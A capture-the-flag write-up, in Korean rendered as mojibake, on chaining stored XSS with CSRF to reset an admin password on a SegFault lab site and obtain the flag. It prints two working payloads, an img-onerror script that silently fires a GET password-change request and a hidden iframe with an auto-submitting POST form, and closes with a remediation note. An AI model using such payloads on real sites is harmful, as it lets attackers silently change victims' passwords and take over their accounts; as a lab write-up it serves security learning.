[SegFault] (CSRF)
GET Admin 1
admin ๊ณ์ ์ ํ์ทจํด ๋ก๊ทธ์ธํ๋ฉด, flag๋ฅผ ํ๋ํ ์ ์์ต๋๋ค.
๋ฌธ์ ํ์
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ CSRF ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ ๋น๋ฐ๋ฒํธ๋ฅผ ์ํ๋ ๋น๋ฐ๋ฒํธ๋ก ๋ณ๊ฒฝํ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ๊ณ , ๊ด๋ฆฌ์ visit Bot์ ํด๋น ๋งํฌ๋ฅผ ์ ๋ ฅํ์ฌ admin ๊ณ์ ์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ์ฌ ํด๋น ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธํ๋ฉด flag๊ฐ ๋์ค๋๋ก ์ด๋ฃจ์ด์ ธ์๋ค.
์ฐ์ ์์ ๊ด๋ฆฌ์ visit Bot ๋งํฌ์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ํ์ด์ง๊ฐ ๋์จ๋ค.
ํ์๊ฐ์ ํ id์ ๋ค์ _amdin์ ๋ถ์ฌ๋ฃ์ id๊ฐ ๊ณต๊ฒฉํ id ์ด๋ค.
ex) gear -> gear_admin
๊ณต๊ฒฉํ ์์ด๋์ CSRF ๊ณต๊ฒฉ ์ ๋ณด๊ฐ ๋ด๊ฒจ์๋ URL์ ์ ๋ ฅํ๋ฉด ํด๋น ์์ด๋์ ๋น๋ฐ๋ฒํธ๊ฐ ๋ณ๊ฒฝ๋๊ฒ ๋๋ค.
๋ฌธ์ ๋งํฌ์ ์ ์์ ํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ ์ฐฝ์ด ๋์จ๋ค.
์ฐ์ ํ์๊ฐ์ ํ ๋ก๊ทธ์ธ์ ์๋ํด๋ณธ๋ค.
๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ๋ CSRF ์ทจ์ฝ์ ์ ์ด์ฉํ ๊ฒ์ด๋ฏ๋ก ์ฐ์ ๋ง์ดํ์ด์ง์ ๋ค์ด๊ฐ์ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ์ ์๋ํ์ฌ ๊ทธ ๊ณผ์ ์ ํ์ธํด๋ณธ๋ค.
๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ ๊ณผ์ ์ ํ์ธํ๊ธฐ ์ํด ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํด๋ณด๊ณ ์ด๋ฅผ Burp๋ฅผ ์ด์ฉํ์ฌ ํ์ธํ๋ค.
์์ ๊ฐ์ด ์์ฒญ์ ๋ณด๋ฉด pw ํ๋ผ๋ฏธํฐ์ ๋ณ๊ฒฝํ๋ ๋น๋ฐ๋ฒํธ๊ฐ ์ ๋ ฅ๋์ด ๋ค์ด๊ฐ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
๊ทธ ๊ฒฐ๊ณผ ์์ ๊ฐ์ด 'ํ์ ์ ๋ณด ์์ ์ ์ฑ๊ณตํ์์ต๋๋ค!' ๋ผ๋ ์๋ฆผ๊ณผ ํจ๊ป ๋น๋ฐ๋ฒํธ๊ฐ ๋ณ๊ฒฝ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
CSRF Point (์ธ์ฆ ์ ๋ณด)
์์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ๋ ์ผ๋ จ์ ๊ณผ์ ์ ๋ณด๋ฉด, ์ถ๊ฐ์ ์ผ๋ก ์ธ์ฆํ๋ ์ธ์ฆ ์ ๋ณด ์์ด ๋ณ๊ฒฝ ์์ฒญ์ด ๊ฐ๋ฅํ๋ค.
CSRF Point (Method Change)
ํด๋น ์์ฒญ์ ๊ฒฝ์ฐ POST Method๋ก ์ด๋ฃจ์ด์ ธ ์๋ค. URL๋ก์ ์ด์ฉ ๊ฐ๋ฅ ์ฌ๋ถ๋ฅผ ํ์ธํ๊ธฐ ์ํด GET Method ๋ก ๋ณ์กฐํ์ฌ ์์ฒญ์ด ๋์ผํ๊ฒ ๊ฐ๋ฅํ์ง ํ์ธํด๋ณธ๋ค.
POST Method์ ์์ฒญ์ GET Method๋ก ๋ณ๊ฒฝํ์ฌ ์์ฒญํ ๊ฒฐ๊ณผ POST์ ๋์ผํ ๊ฒฐ๊ณผ๊ฐ ๋์จ ๊ฒ์ ํ์ธํ ์ ์๋ค.
XSS Point
XSS๋ฅผ ํ์ฉํ์ง ์๋ CSRF ์ทจ์ฝ์ ์ URL์ ํด๋ฆญํ๋๋ก ์ ๋ํด์ผํ๋ค. ํ์ง๋ง XSS ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ค๋ฉด ์ ๋กํด๋ฆญ์ ๊ตฌํํ ์ ์๋ค.
๊ทธ๋ฌ๋ฏ๋ก ๊ณต์ง์ฌํญ์ ๊ธ์ฐ๊ธฐ ๊ธฐ๋ฅ์ ์ด์ฉํ์ฌ XSS๊ฐ ๊ฐ๋ฅํ์ง ํ์ธํด๋ณด๊ธฐ ์ํด ์คํฌ๋ฆฝํธ์ ์ํฅ์ ์ค ์ ์๋ ํน์ ๋ฌธ์< ' " >๋ฅผ ์ ๋ ฅํ์ฌ ํ์ธํด๋ณธ๋ค.
์๋ต(Response)์ ํ์ธํด๋ณธ ๊ฒฐ๊ณผ ๊ธ์ ๋ด์ฉ ๋ถ๋ถ์์ ์ ๋ ฅ ๊ฐ์ด ๊ทธ๋๋ก ์ถ๋ ฅ๋๊ณ ์๋ ๊ฒ์ ํ์ธํ์๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
GET Method (with XSS)
GET Method๋ก์ ๋ณ์กฐ๊ฐ ๊ฐ๋ฅํ๋ฏ๋ก ์ด์ ๋ฐ๋ฅธ ํ์ด๋ก๋(Payload)๋ฅผ ์์ฑํ๋ค.
ํ์ด๋ก๋(Paylaod) - GET
<img src=x onerror="change()">
<script>
function change(){
var i = new Image();
i.src = "http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?id=&info=&pw=1234"}
</script>
img ํ๊ทธ๋ฅผ ์ด์ฉํ์ฌ image๋ฅผ ๋ถ๋ฌ์ค์ง ๋ชปํด ์๋ฌ๋ฅผ ๋ฐ์์์ผ ์คํฌ๋ฆฝํธ ๋ด๋ถ์ ํจ์๋ฅผ ์คํ์์ผ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ๋ค.
๊ธ์ฐ๊ธฐ์ ๋ด์ฉ ๋ถ๋ถ์ ํ์ด๋ก๋(Payload)๋ฅผ ์ฝ์ ํ๋ค. ์ดํ ํด๋น ๊ธ์ ์ ๊ทผํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
๊ธ์ ๋ด์ฉ์๋ ์๋ฌ๋ img๊ฐ ๋ณด์ด๊ณ Burp๋ฅผ ํตํด ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
์ดํ์ ์งํ์ ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด ๊ธ์ ์ ๊ทผํ๊ณ , ์ด๋ฏธ์ง๋ฅผ ๋ถ๋ฌ์ค์ง ๋ชปํ์ฌ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๊ณ ๋ด๋ถ์ ํจ์๋ฅผ ํตํด ๋น๋ฐ๋ฒํธ์ ๋ณ๊ฒฝ์ด ์ด๋ฃจ์ด์ง๋ค.
์์ ๊ฐ์ด ์ฑ๊ณต์ ์ผ๋ก ๋น๋ฐ๋ฒํธ์ ๋ณ๊ฒฝ์ด ์๋ฃ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
POST Method (with XSS)
POST Method๋ฅผ ์ด์ฉํ๋ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ์ ์ํ ํ์ด๋ก๋(Payload)๋ฅผ ์์ฑํ๋ค.
ํ์ด๋ก๋(Paylaod) - POST
<iframe name="stealthFrame" sandbox="allow-scripts" style="display:none"></iframe>
<body onload="document.getElementById('tempForm').submit();">
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php"
id="tempForm" target="stealthFrame">
<input type="hidden" name="pw" value="1234"/>
</form>
iframe์ ์ด์ฉํ์ฌ ์ ๋ฐ์ดํธ ํ์ด์ง์ ๋น๋ฐ๋ฒํธ ํ๋ผ๋ฏธํฐ๋ฅผ ์ ๋ ฅํ๋ ๋ฐฉ์์ ์ด์ฉํ์ฌ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ๋ค.
๊ธ์ฐ๊ธฐ์ ๋ด์ฉ ๋ถ๋ถ์ ํ์ด๋ก๋(Payload)๋ฅผ ์ฝ์ ํ๋ค. ์ดํ ํด๋น ๊ธ์ ์ ๊ทผํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
์คํฌ๋ฆฝํธ๋ก์ ํ์ฑํ ๋์ด ๋ด์ฉ์๋ ์๋ฌด๊ฒ๋ ๋ณด์ด์ง ์์ง๋ง Burp๋ฅผ ํตํด ํ์ธํ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
์ดํ์ ์งํ์ ๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด ๊ธ์ ์ ๊ทผํ๊ณ , iframe์ ํตํด ์ ๋ฐ์ดํธ ํ์ด์ง์ ์ ๊ทผํ ํ, ๋ง์ดํ์ด์ง๋ก ๋์๊ฐ๋ ๋์์ด ์์ง๋ง, allow-scripts๋ฅผ ์ด์ฉํ์ฌ, ์คํ์ ๋์ง๋ง ์ค์ ๋ก ๋ฆฌ๋๋ ์ ๋์ง๋ ์๋๋ค.
์์ ๊ฐ์ด ์ฑ๊ณต์ ์ผ๋ก ๋น๋ฐ๋ฒํธ์ ๋ณ๊ฒฝ์ด ์๋ฃ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
๊ด๋ฆฌ์์ ์ ๊ทผ ์ ๋
์ด์ ์์ ๊ธ์ ์ ๊ทผํ๋ URL์ ๊ด๋ฆฌ์ visit Bot์ ๋ฃ์ด์ค๋ค.
์ดํ ๋ก๊ทธ์์์ ํ๊ณ ๊ด๋ฆฌ์ ๊ณ์ ์ผ๋ก์ ๋ก๊ทธ์ธ์ ์๋ํ๋ค.
๊ด๋ฆฌ์ ๊ณ์ ์ ๋ณ๊ฒฝ์ํจ ๋น๋ฐ๋ฒํธ๋ก ์ ๋ ฅํ์ฌ ๋ก๊ทธ์ธํ๋ฉด ์ฑ๊ณต์ ์ผ๋ก ๋ก๊ทธ์ธ๋๊ณ ๋ค์๊ณผ ๊ฐ์ด ์๋ฆผ์ฐฝ์ Flag๊ฐ์ด ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์์ ๊ฐ์ด ๊ด๋ฆฌ์ ๊ณ์ ์ผ๋ก์ ๋ก๊ทธ์ธ์ ํตํด flag ๊ฐ์ด ํ๋๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ทจ์ฝ์ ์ ๊ดํ ๊ณ ์ฐฐ
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ์ ์์ด ์ถ๊ฐ์ ์ธ ์ธ์ฆ์ ๋ณด ์์ด ๋ณ๊ฒฝ์ด ๊ฐ๋ฅํ์ฌ ๋ฐ์ํ CSRF ์ทจ์ฝ์ ์ด๋ค.
๋ํ ๊ฒ์๊ธ์ ๋ด์ฉ์ ์คํฌ๋ฆฝํธ๊ฐ ์ฝ์ ๊ฐ๋ฅํ XSS ์ทจ์ฝ์ ์ ํจ๊ป ์ฌ์ฉํ์ฌ CSRF(with XSS) ์ทจ์ฝ์ ์ผ๋ก์ ์ด์ฉํ๋ค.
CSRF๋ ์คํฌ๋ฆฝํธ๊ฐ ์ฝ์ ๋ ๊ธ์ ์ ๊ทผํ๋ ๋ชจ๋ ์ด์ฉ์์ ๋น๋ฐ๋ฒํธ๋ฅผ ๊ฐ์ ๋ก ๋ณ๊ฒฝ์ํฌ ์ ์๋ ์ํํ ์ทจ์ฝ์ ์ผ๋ก์ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ๊ณผ ๊ฐ์ ์ค์์ ๋ณด์ ๋ํ์ฌ ์ ๊ทผ์ ์ถ๊ฐ์ ์ธ ์ธ์ฆ ์ ์ฐจ๋ฅผ ๊ตฌํํด์ผํ๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์